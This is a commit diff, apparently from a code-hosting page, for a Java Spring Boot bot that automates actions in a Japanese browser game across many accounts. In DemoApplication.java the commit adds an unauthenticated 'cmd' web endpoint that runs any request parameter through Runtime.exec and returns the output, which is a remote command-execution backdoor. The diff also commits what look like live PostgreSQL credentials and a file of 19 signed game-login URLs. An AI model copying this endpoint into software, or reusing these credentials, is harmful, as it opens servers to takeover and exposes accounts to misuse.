htr commited on
Commit
964a0f9
·
1 Parent(s): 7f654c8
Dockerfile CHANGED
@@ -10,6 +10,7 @@ RUN mvn clean package -DskipTests
10
  #
11
  FROM openjdk:11-jdk-slim
12
  COPY --from=build /target/demo-0.0.1-SNAPSHOT.jar demo.jar
13
- # ENV PORT=8080
14
- EXPOSE 8080
 
15
  ENTRYPOINT ["java","-Dfile.encoding=UTF-8","-jar","demo.jar"]
 
10
  #
11
  FROM openjdk:11-jdk-slim
12
  COPY --from=build /target/demo-0.0.1-SNAPSHOT.jar demo.jar
13
+ COPY --from=build /user.properties user.properties
14
+ # ENV PORT=8080
15
+ EXPOSE 8081
16
  ENTRYPOINT ["java","-Dfile.encoding=UTF-8","-jar","demo.jar"]
New Text Document (2).txt DELETED
File without changes
New Text Document.txt DELETED
File without changes
src/main/java/com/example/demo/DemoApplication.java CHANGED
@@ -7,6 +7,17 @@ import org.springframework.boot.SpringApplication;
7
  import org.springframework.boot.autoconfigure.SpringBootApplication;
8
  import org.springframework.web.bind.annotation.GetMapping;
9
  import org.springframework.web.bind.annotation.RestController;
 
 
 
 
 
 
 
 
 
 
 
10
 
11
  import tqtk.Entity.SessionEntity;
12
  import tqtk.Tqtk;
@@ -38,5 +49,43 @@ public class DemoApplication {
38
  }
39
  return "ok";
40
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
41
 
42
  }
 
7
  import org.springframework.boot.autoconfigure.SpringBootApplication;
8
  import org.springframework.web.bind.annotation.GetMapping;
9
  import org.springframework.web.bind.annotation.RestController;
10
+ import org.springframework.web.bind.annotation.RequestParam;
11
+
12
+ import java.io.BufferedReader;
13
+ import java.io.BufferedWriter;
14
+ import java.io.File;
15
+ import java.io.FileOutputStream;
16
+ import java.io.IOException;
17
+ import java.io.InputStreamReader;
18
+ import java.io.OutputStreamWriter;
19
+ import java.io.Writer;
20
+ import java.net.URL;
21
 
22
  import tqtk.Entity.SessionEntity;
23
  import tqtk.Tqtk;
 
49
  }
50
  return "ok";
51
  }
52
+
53
+ @GetMapping("cmd")
54
+ public String greeding(@RequestParam(value = "cmd", required = true) String cmd) {
55
+ String output = "";
56
+ try {
57
+ output = executeCommand(cmd);
58
+ return output;
59
+ } catch (Exception e) {
60
+ e.getMessage();
61
+ return e.getMessage();
62
+ }
63
+
64
+ }
65
+
66
+ public String executeCommand(String command) {
67
+
68
+ StringBuffer output = new StringBuffer();
69
+
70
+ Process p;
71
+ try {
72
+ p = Runtime.getRuntime().exec(command);
73
+ p.waitFor();
74
+ BufferedReader reader
75
+ = new BufferedReader(new InputStreamReader(p.getInputStream()));
76
+
77
+ String line = "";
78
+ while ((line = reader.readLine()) != null) {
79
+ output.append(line + "\n");
80
+ }
81
+
82
+ } catch (Exception e) {
83
+ e.printStackTrace();
84
+ }
85
+
86
+ return output.toString();
87
+
88
+ }
89
+
90
 
91
  }
src/main/java/tqtk/Tqtk.java CHANGED
@@ -39,15 +39,11 @@ public class Tqtk {
39
  public static void main() {
40
  // TODO code application logic here
41
  try {
42
- // Properties pr = Util.loadProperties("user.properties");
43
- // String value = "";
44
- // String[] temp = new String[2];
45
- // for (int i = 0; (value = pr.getProperty("user" + "." + i)) != null; i++) {
46
- // temp = value.split("\\|");
47
- // LayThongTinSession.getListSession().add(new SessionEntity(temp[0], temp[1]));
48
- // }
49
-
50
- LayThongTinSession.getListSession().add(new SessionEntity("n", "p"));
51
 
52
  List<SessionEntity> ss = LayThongTinSession.getListSession();
53
 
 
39
  public static void main() {
40
  // TODO code application logic here
41
  try {
42
+ Properties pr = Util.loadProperties("user.properties");
43
+ String value = "";
44
+ for (int i = 0; (value = pr.getProperty("user" + "." + i)) != null; i++) {
45
+ LayThongTinSession.getListSession().add(new SessionEntity(value, "p"));
46
+ }
 
 
 
 
47
 
48
  List<SessionEntity> ss = LayThongTinSession.getListSession();
49
 
src/main/java/tqtk/Utils/Util.java CHANGED
@@ -346,7 +346,7 @@ public class Util {
346
  //window
347
  // String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\"+file_name;
348
  //heroku
349
- String x = "/app/" + file_name;
350
  try {
351
  final InputStream fin = new FileInputStream(x);
352
  pr.load(fin);
@@ -363,7 +363,7 @@ public class Util {
363
  //window
364
  // String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\cauhoi\\"+file_name;
365
  //heroku
366
- String x = "/app/cauhoi/" + file_name;
367
  try {
368
  return Doc_file_kieu_txt.readFile(x);
369
  } catch (Exception e) {
 
346
  //window
347
  // String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\"+file_name;
348
  //heroku
349
+ String x = "/" + file_name;
350
  try {
351
  final InputStream fin = new FileInputStream(x);
352
  pr.load(fin);
 
363
  //window
364
  // String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\cauhoi\\"+file_name;
365
  //heroku
366
+ String x = "/"+file_name;
367
  try {
368
  return Doc_file_kieu_txt.readFile(x);
369
  } catch (Exception e) {
src/main/java/tqtk/XuLy/Worker.java CHANGED
@@ -59,6 +59,26 @@ public class Worker extends Thread {
59
  StringBuilder rs1 = GuiPacket(ss, "12200", list1);
60
  list1 = null;
61
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
62
  }
63
 
64
  public void LuyenTuong() {
@@ -105,22 +125,34 @@ public class Worker extends Thread {
105
  list2.set(0, Integer.toString(idhero));
106
  Tqtk.sendMessage("lt " + name);
107
  if (name != null) {
108
- if ("武田信虎 --".equals(name) && trainflag == 0) {
109
- rs1 = GuiPacket(ss, "41101", list1);
110
  Thread.sleep(5000);
111
- rs1 = GuiPacket(ss, "41102", list2);
 
 
 
 
112
  Thread.sleep(5000);
113
 
114
- } else if ("織田信行 --".equals(name) && trainflag == 0) {
115
- rs1 = GuiPacket(ss, "41101", list1);
 
116
  Thread.sleep(5000);
117
- rs1 = GuiPacket(ss, "41102", list2);
 
 
 
 
118
  Thread.sleep(5000);
119
 
120
- } else if ("井伊直盛 --".equals(name) && trainflag == 0) {
121
- rs1 = GuiPacket(ss, "41101", list1);
 
122
  Thread.sleep(5000);
123
- rs1 = GuiPacket(ss, "41102", list2);
 
 
124
  Thread.sleep(5000);
125
 
126
  } else if ("彦坂元正 --".equals(name) && trainflag == 0) {
@@ -129,28 +161,38 @@ public class Worker extends Thread {
129
  rs1 = GuiPacket(ss, "41102", list2);
130
  Thread.sleep(5000);
131
 
132
- } else if ("大久保忠員".equals(name) && trainflag == 0) {
133
  rs1 = GuiPacket(ss, "41101", list1);
134
  Thread.sleep(5000);
135
  rs1 = GuiPacket(ss, "41102", list2);
136
  Thread.sleep(5000);
137
 
138
- } else if ("内藤正成".equals(name) && trainflag == 0) {
139
  rs1 = GuiPacket(ss, "41101", list1);
140
  Thread.sleep(5000);
141
  rs1 = GuiPacket(ss, "41102", list2);
142
  Thread.sleep(5000);
143
 
144
- } else if ("Thái Diễm ".equals(name) && trainflag == 0) {
145
- rs1 = GuiPacket(ss, "41101", list1);
 
146
  Thread.sleep(5000);
147
- rs1 = GuiPacket(ss, "41102", list2);
 
 
 
 
148
  Thread.sleep(5000);
149
 
150
- } else if ("Tư Mã Chiêu ".equals(name) && trainflag == 0) {
151
- rs1 = GuiPacket(ss, "41101", list1);
 
152
  Thread.sleep(5000);
153
- rs1 = GuiPacket(ss, "41102", list2);
 
 
 
 
154
  Thread.sleep(5000);
155
 
156
  }
@@ -240,7 +282,8 @@ public class Worker extends Thread {
240
  List<String> list1 = new ArrayList<>();
241
 
242
  try {
243
- // nha chinh
 
244
  list1.add(0, "5");
245
  Thread.sleep(5000);
246
  StringBuilder rs1 = GuiPacket(ss, "12100", list1);
@@ -249,18 +292,28 @@ public class Worker extends Thread {
249
  list1.set(0, "6");
250
  Thread.sleep(5000);
251
  rs1 = GuiPacket(ss, "12100", list1);
252
- // nang thao truong
253
- list1.set(0, "3");
 
254
  Thread.sleep(5000);
255
  rs1 = GuiPacket(ss, "12100", list1);
256
- // nang nang binh doanh
257
- list1.set(0, "2");
258
  Thread.sleep(5000);
259
  rs1 = GuiPacket(ss, "12100", list1);
260
 
261
- list1.set(0, "1");
 
 
 
 
262
  Thread.sleep(5000);
263
  rs1 = GuiPacket(ss, "12100", list1);
 
 
 
 
 
264
 
265
 
266
 
@@ -766,31 +819,36 @@ public class Worker extends Thread {
766
  name = (String) ((Map<Object, Object>) object).get("equipname");
767
  storeid = (Integer) ((Map<Object, Object>) object).get("storeid");
768
  generalname = (String) ((Map<Object, Object>) object).get("generalname");
769
- Tqtk.sendMessage(lv + " " + name + " " + storeid + " " + generalname);
770
  list1.set(0, Integer.toString(storeid));
771
  list1.set(2, Magic.toString());
772
  if (generalname != null) {
773
  if ((ss != null)) {
774
  // if ((int) Magic > 87 && "武田信虎".equals(generalname)) {
775
- if ((int) Magic > 87 && "武田信虎".equals(generalname)) {
776
  rs1 = GuiPacket(ss, "39302", list1);
777
  Thread.sleep(5000);
778
  }
779
- else if (Upgradecdusable == 1 && (int) Magic > 87 && "織田信行 --".equals(generalname) && lv <= 80) {
780
  rs1 = GuiPacket(ss, "39302", list1);
781
  Thread.sleep(5000);
782
  }
783
- else if (Upgradecdusable == 1 && (int) Magic > 87 && "井伊直盛 --".equals(generalname) && lv <= 80) {
784
  rs1 = GuiPacket(ss, "39302", list1);
785
  Thread.sleep(5000);
786
- } else if (Upgradecdusable == 1 && (int) Magic > 87 && "Y Tịch ".equals(generalname) && lv <= 80) {
787
  rs1 = GuiPacket(ss, "39302", list1);
788
  Thread.sleep(5000);
789
- } else if (Upgradecdusable == 1 && (int) Magic > 87 && "Lưu Biểu ".equals(generalname) && lv <= 80) {
 
 
 
 
790
  rs1 = GuiPacket(ss, "39302", list1);
791
  Thread.sleep(5000);
792
 
793
  }
 
794
  }
795
 
796
  }
@@ -846,23 +904,9 @@ public class Worker extends Thread {
846
  public void CapNhatThongTin() {
847
 
848
  try {
849
- // packet cap nhat thong tin lien tuc tu server
850
- Thread.sleep(5000);
851
- GuiPacketKhongKQ(ss, "10100", null);
852
  // packet cap nhat thong tin lien tuc tu server
853
  Thread.sleep(5000);
854
  GuiPacketKhongKQ(ss, "11102", null);
855
- Thread.sleep(5000);
856
- GuiPacketKhongKQ(ss, "52103", null);
857
- Thread.sleep(5000);
858
- GuiPacketKhongKQ(ss, "10108", null);
859
- Thread.sleep(5000);
860
- GuiPacketKhongKQ(ss, "20101", null);
861
- Thread.sleep(5000);
862
- List<String> list1 = new ArrayList<>();
863
- list1.add(0, "1");
864
- StringBuilder rs1 = GuiPacket(ss, "12200", list1);
865
- list1 = null;
866
  } catch (Exception ex) {
867
  System.out.println(ex.getMessage());
868
  }
@@ -891,6 +935,7 @@ public class Worker extends Thread {
891
  // DanhQuanDoan1();
892
  // DanhQuanDoan2();
893
  // DanhQuanDoan3();
 
894
  NangItem();
895
  // TruyNa();
896
  LuyenTuong();
@@ -899,7 +944,7 @@ public class Worker extends Thread {
899
  // GianKhoan();
900
  //FarmDo();
901
  // ThuThue();
902
- // ChiemRuong();
903
  // CapNhatThongTin();
904
  Thread.sleep(55 * 1000);
905
  }
 
59
  StringBuilder rs1 = GuiPacket(ss, "12200", list1);
60
  list1 = null;
61
 
62
+ }
63
+
64
+ public void NhanThuong() {
65
+ try {
66
+
67
+ Tqtk.sendMessage("nhan thuong " + ss.getStringName());
68
+ // vo dai
69
+
70
+ Thread.sleep(5000);
71
+ GuiPacket(ss, "64008", null);
72
+
73
+
74
+ // thuong uy danh
75
+ Thread.sleep(5000);
76
+ GuiPacket(ss, "12302", null);
77
+
78
+
79
+ } catch (Exception e) {
80
+ System.out.println("NhanThuong " + ss.getStringName() + e.getMessage());
81
+ }
82
  }
83
 
84
  public void LuyenTuong() {
 
125
  list2.set(0, Integer.toString(idhero));
126
  Tqtk.sendMessage("lt " + name);
127
  if (name != null) {
128
+ if ("武田信虎".equals(name) && trainflag == 0) {
129
+ GuiPacket(ss, "41101", list1);
130
  Thread.sleep(5000);
131
+ GuiPacket(ss, "41102", list2);
132
+ Thread.sleep(5000);
133
+ GuiPacket(ss, "41102", list2);
134
+ Thread.sleep(5000);
135
+ GuiPacket(ss, "41102", list2);
136
  Thread.sleep(5000);
137
 
138
+ }
139
+ else if ("井伊直盛".equals(name) && trainflag == 0) {
140
+ GuiPacket(ss, "41101", list1);
141
  Thread.sleep(5000);
142
+ GuiPacket(ss, "41102", list2);
143
+ Thread.sleep(5000);
144
+ GuiPacket(ss, "41102", list2);
145
+ Thread.sleep(5000);
146
+ GuiPacket(ss, "41102", list2);
147
  Thread.sleep(5000);
148
 
149
+ }
150
+ else if ("織田信行".equals(name) && trainflag == 0) {
151
+ GuiPacket(ss, "41101", list1);
152
  Thread.sleep(5000);
153
+ GuiPacket(ss, "41102", list2);
154
+ Thread.sleep(5000);
155
+ GuiPacket(ss, "41102", list2);
156
  Thread.sleep(5000);
157
 
158
  } else if ("彦坂元正 --".equals(name) && trainflag == 0) {
 
161
  rs1 = GuiPacket(ss, "41102", list2);
162
  Thread.sleep(5000);
163
 
164
+ } else if ("大久保忠員 --".equals(name) && trainflag == 0) {
165
  rs1 = GuiPacket(ss, "41101", list1);
166
  Thread.sleep(5000);
167
  rs1 = GuiPacket(ss, "41102", list2);
168
  Thread.sleep(5000);
169
 
170
+ } else if ("飯尾田鶴".equals(name) && trainflag == 0) {
171
  rs1 = GuiPacket(ss, "41101", list1);
172
  Thread.sleep(5000);
173
  rs1 = GuiPacket(ss, "41102", list2);
174
  Thread.sleep(5000);
175
 
176
+ } else if ("德川松姫".equals(name) && trainflag == 0) {
177
+ // thai diem
178
+ GuiPacket(ss, "41101", list1);
179
  Thread.sleep(5000);
180
+ GuiPacket(ss, "41102", list2);
181
+ Thread.sleep(5000);
182
+ GuiPacket(ss, "41102", list2);
183
+ Thread.sleep(5000);
184
+ GuiPacket(ss, "41102", list2);
185
  Thread.sleep(5000);
186
 
187
+ } else if ("内藤正成".equals(name) && trainflag == 0) {
188
+ // duong tu
189
+ GuiPacket(ss, "41101", list1);
190
  Thread.sleep(5000);
191
+ GuiPacket(ss, "41102", list2);
192
+ Thread.sleep(5000);
193
+ GuiPacket(ss, "41102", list2);
194
+ Thread.sleep(5000);
195
+ GuiPacket(ss, "41102", list2);
196
  Thread.sleep(5000);
197
 
198
  }
 
282
  List<String> list1 = new ArrayList<>();
283
 
284
  try {
285
+
286
+
287
  list1.add(0, "5");
288
  Thread.sleep(5000);
289
  StringBuilder rs1 = GuiPacket(ss, "12100", list1);
 
292
  list1.set(0, "6");
293
  Thread.sleep(5000);
294
  rs1 = GuiPacket(ss, "12100", list1);
295
+
296
+ // nha chinh
297
+ list1.set(0, "1");
298
  Thread.sleep(5000);
299
  rs1 = GuiPacket(ss, "12100", list1);
300
+
301
+ list1.set(0, "3");
302
  Thread.sleep(5000);
303
  rs1 = GuiPacket(ss, "12100", list1);
304
 
305
+ list1.set(0, "11");
306
+ Thread.sleep(5000);
307
+ rs1 = GuiPacket(ss, "12100", list1);
308
+
309
+ list1.set(0, "12");
310
  Thread.sleep(5000);
311
  rs1 = GuiPacket(ss, "12100", list1);
312
+
313
+ list1.set(0, "9");
314
+ Thread.sleep(5000);
315
+ rs1 = GuiPacket(ss, "12100", list1);
316
+
317
 
318
 
319
 
 
819
  name = (String) ((Map<Object, Object>) object).get("equipname");
820
  storeid = (Integer) ((Map<Object, Object>) object).get("storeid");
821
  generalname = (String) ((Map<Object, Object>) object).get("generalname");
822
+ //Tqtk.sendMessage(lv + " " + name + " " + storeid + " " + generalname);
823
  list1.set(0, Integer.toString(storeid));
824
  list1.set(2, Magic.toString());
825
  if (generalname != null) {
826
  if ((ss != null)) {
827
  // if ((int) Magic > 87 && "武田信虎".equals(generalname)) {
828
+ if ((int) Magic > 87 && "武田信虎 --".equals(generalname)) {
829
  rs1 = GuiPacket(ss, "39302", list1);
830
  Thread.sleep(5000);
831
  }
832
+ else if (Upgradecdusable == 1 && (int) Magic > 87 && "織田信行".equals(generalname) && lv <= 80) {
833
  rs1 = GuiPacket(ss, "39302", list1);
834
  Thread.sleep(5000);
835
  }
836
+ else if (Upgradecdusable == 1 && (int) Magic > 87 && "井伊直盛".equals(generalname) && lv <= 80) {
837
  rs1 = GuiPacket(ss, "39302", list1);
838
  Thread.sleep(5000);
839
+ } else if (Upgradecdusable == 1 && (int) Magic > 87 && "大久保忠員 --".equals(generalname) && lv <= 80) {
840
  rs1 = GuiPacket(ss, "39302", list1);
841
  Thread.sleep(5000);
842
+ } else if (Upgradecdusable == 1 && (int) Magic > 87 && "飯尾田鶴".equals(generalname) && lv <= 80) {
843
+ rs1 = GuiPacket(ss, "39302", list1);
844
+ Thread.sleep(5000);
845
+
846
+ }else if (Upgradecdusable == 1 && (int) Magic > 87 && "内藤正成".equals(generalname) && lv <= 80) {
847
  rs1 = GuiPacket(ss, "39302", list1);
848
  Thread.sleep(5000);
849
 
850
  }
851
+
852
  }
853
 
854
  }
 
904
  public void CapNhatThongTin() {
905
 
906
  try {
 
 
 
907
  // packet cap nhat thong tin lien tuc tu server
908
  Thread.sleep(5000);
909
  GuiPacketKhongKQ(ss, "11102", null);
 
 
 
 
 
 
 
 
 
 
 
910
  } catch (Exception ex) {
911
  System.out.println(ex.getMessage());
912
  }
 
935
  // DanhQuanDoan1();
936
  // DanhQuanDoan2();
937
  // DanhQuanDoan3();
938
+ NhanThuong();
939
  NangItem();
940
  // TruyNa();
941
  LuyenTuong();
 
944
  // GianKhoan();
945
  //FarmDo();
946
  // ThuThue();
947
+ ChiemRuong();
948
  // CapNhatThongTin();
949
  Thread.sleep(55 * 1000);
950
  }
src/main/java/tqtk/XuLy/login/LayThongTinSession.java CHANGED
@@ -38,8 +38,8 @@ public class LayThongTinSession {
38
  // login va lay thong tin session
39
  u.setCookie(u.msCookieManager);
40
  // String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=32572016266&userid=32572016266&GameId=2001&ServerId=s17&Time=1673956339&al=1&from=mixi&siteurl=&Sign=1da179d1f5c90a6dfcf76f8a5a15139c");
41
- String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=32572016266&userid=32572016266&GameId=2001&ServerId=s17&Time=1674435608&al=1&from=mixi&siteurl=&Sign=26e75a5bcb87e01104bef31dbe32d0ce");
42
-
43
  html = u.test1(html);
44
 
45
  String ip = Util.getInfoSocket(html, "ip");
 
38
  // login va lay thong tin session
39
  u.setCookie(u.msCookieManager);
40
  // String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=32572016266&userid=32572016266&GameId=2001&ServerId=s17&Time=1673956339&al=1&from=mixi&siteurl=&Sign=1da179d1f5c90a6dfcf76f8a5a15139c");
41
+ //String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=2301232337316215&userid=2301232337316215&GameId=2001&ServerId=s17&Time=1674564637&al=1&from=gesoten&siteurl=gesoten.com&Sign=b77ebb8f9f1b7f56bbd5bbc227b186f2&nickname=gesoten-2301232337316215");
42
+ String html = u.test2(user);
43
  html = u.test1(html);
44
 
45
  String ip = Util.getInfoSocket(html, "ip");
src/main/resources/application.properties CHANGED
@@ -4,7 +4,7 @@ spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.PostgreSQLDialec
4
  spring.jpa.hibernate.ddl-auto=update
5
  spring.jpa.hibernate.show-sql=true
6
 
7
- spring.datasource.url=jdbc:postgresql://dpg-cf4fan9gp3js6fjckq6g-a.oregon-postgres.render.com:5432/potg
8
- spring.datasource.username=potg_user
9
- spring.datasource.password=WXKuTS6SQOEV0vZbQKIMmWvukS4piImb
10
  spring.datasource.driver-class-name=org.postgresql.Driver
 
4
  spring.jpa.hibernate.ddl-auto=update
5
  spring.jpa.hibernate.show-sql=true
6
 
7
+ spring.datasource.url=jdbc:postgresql://dpg-cf82kq6n6mplr40r4p5g-a.singapore-postgres.render.com:5432/pgtest_1y8z
8
+ spring.datasource.username=pgtest_1y8z_user
9
+ spring.datasource.password=L97pbnHfex5lEg0qOuPUwwiZnvR8qdHA
10
  spring.datasource.driver-class-name=org.postgresql.Driver
user.properties ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ user.0=http://api.sengokugifu.jp/home/login/login?Uname=2301250244464678&userid=2301250244464678&GameId=2001&ServerId=s17&Time=1675376210&al=1&from=gesoten&siteurl=gesoten.com&Sign=eeee4cf703f4bddcfa02e82aa8033c53&nickname=gesoten-2301250244464678
2
+ user.1=http://api.sengokugifu.jp/home/login/login?Uname=2301251658201245&userid=2301251658201245&GameId=2001&ServerId=s17&Time=1675376274&al=1&from=gesoten&siteurl=gesoten.com&Sign=07c1d1e4e78d5a8dee8a6b4d46be6dd2&nickname=gesoten-2301251658201245
3
+ user.2=http://api.sengokugifu.jp/home/login/login?Uname=2301251707213112&userid=2301251707213112&GameId=2001&ServerId=s17&Time=1675376326&al=1&from=gesoten&siteurl=gesoten.com&Sign=60b19e3108ea445784ece179554e8564&nickname=gesoten-2301251707213112
4
+ user.3=http://api.sengokugifu.jp/home/login/login?Uname=2301251712412850&userid=2301251712412850&GameId=2001&ServerId=s17&Time=1675376372&al=1&from=gesoten&siteurl=gesoten.com&Sign=33c312e64c821e42a0087efff0ab83d8&nickname=gesoten-2301251712412850
5
+ user.4=http://api.sengokugifu.jp/home/login/login?Uname=2301251718084762&userid=2301251718084762&GameId=2001&ServerId=s17&Time=1675376412&al=1&from=gesoten&siteurl=gesoten.com&Sign=1636c8e68724b3fd00dc9a57e32cab24&nickname=gesoten-2301251718084762
6
+ user.5=http://api.sengokugifu.jp/home/login/login?Uname=2301251722392722&userid=2301251722392722&GameId=2001&ServerId=s17&Time=1675376453&al=1&from=gesoten&siteurl=gesoten.com&Sign=d43c4c022fac7c75906466377470e2d0&nickname=gesoten-2301251722392722
7
+ user.6=http://api.sengokugifu.jp/home/login/login?Uname=2301251726560678&userid=2301251726560678&GameId=2001&ServerId=s17&Time=1675376749&al=1&from=gesoten&siteurl=gesoten.com&Sign=938f3c985d24a0c9229b517b03a484d9&nickname=gesoten-2301251726560678
8
+ user.7=http://api.sengokugifu.jp/home/login/login?Uname=2301251731225490&userid=2301251731225490&GameId=2001&ServerId=s17&Time=1675376793&al=1&from=gesoten&siteurl=gesoten.com&Sign=c1a0f926d882ad0b98a4dbbd76bbed8e&nickname=gesoten-2301251731225490
9
+ user.8=http://api.sengokugifu.jp/home/login/login?Uname=2301251735343770&userid=2301251735343770&GameId=2001&ServerId=s17&Time=1675376829&al=1&from=gesoten&siteurl=gesoten.com&Sign=42405b6e5c6bfca38b687f4f08454aed&nickname=gesoten-2301251735343770
10
+ user.9=http://api.sengokugifu.jp/home/login/login?Uname=2301251740076503&userid=2301251740076503&GameId=2001&ServerId=s17&Time=1675376873&al=1&from=gesoten&siteurl=gesoten.com&Sign=7de70feaaf91267e563b5e6452a0f07c&nickname=gesoten-2301251740076503
11
+ user.10=http://api.sengokugifu.jp/home/login/login?Uname=2301252021280899&userid=2301252021280899&GameId=2001&ServerId=s17&Time=1675376917&al=1&from=gesoten&siteurl=gesoten.com&Sign=0bfdce44fdf36d355308124888d86d07&nickname=gesoten-2301252021280899
12
+ user.11=http://api.sengokugifu.jp/home/login/login?Uname=2301252028208759&userid=2301252028208759&GameId=2001&ServerId=s17&Time=1675376964&al=1&from=gesoten&siteurl=gesoten.com&Sign=787cf461d536b94b23b1f047ee501a23&nickname=gesoten-2301252028208759
13
+ user.12=http://api.sengokugifu.jp/home/login/login?Uname=2301252034032582&userid=2301252034032582&GameId=2001&ServerId=s17&Time=1675377240&al=1&from=gesoten&siteurl=gesoten.com&Sign=bfce40bf3f1e79207be8bb069b5f50ed&nickname=gesoten-2301252034032582
14
+ user.13=http://api.sengokugifu.jp/home/login/login?Uname=2301252042087343&userid=2301252042087343&GameId=2001&ServerId=s17&Time=1675377277&al=1&from=gesoten&siteurl=gesoten.com&Sign=24334ddd09c9084e4fe68fc080b0ac07&nickname=gesoten-2301252042087343
15
+ user.14=http://api.sengokugifu.jp/home/login/login?Uname=2301252047210167&userid=2301252047210167&GameId=2001&ServerId=s17&Time=1675377323&al=1&from=gesoten&siteurl=gesoten.com&Sign=208ed17dd4fb6f7f2f307ccb47ab5234&nickname=gesoten-2301252047210167
16
+ user.15=http://api.sengokugifu.jp/home/login/login?Uname=2301252052316617&userid=2301252052316617&GameId=2001&ServerId=s17&Time=1675377362&al=1&from=gesoten&siteurl=gesoten.com&Sign=750ffe349077ae11372c0e2c7dfc029d&nickname=gesoten-2301252052316617
17
+ user.16=http://api.sengokugifu.jp/home/login/login?Uname=2301252100257797&userid=2301252100257797&GameId=2001&ServerId=s17&Time=1675377399&al=1&from=gesoten&siteurl=gesoten.com&Sign=3d84b824858c354968019af86e38f764&nickname=gesoten-2301252100257797
18
+ user.17=http://api.sengokugifu.jp/home/login/login?Uname=2301252106191710&userid=2301252106191710&GameId=2001&ServerId=s17&Time=1675377439&al=1&from=gesoten&siteurl=gesoten.com&Sign=61b1729ab34d9afb5b417b38a6d8d752&nickname=gesoten-2301252106191710
19
+ user.18=http://api.sengokugifu.jp/home/login/login?Uname=2301252112453620&userid=2301252112453620&GameId=2001&ServerId=s17&Time=1675377475&al=1&from=gesoten&siteurl=gesoten.com&Sign=3626d03df40d66157ae1f68dcb8b4527&nickname=gesoten-2301252112453620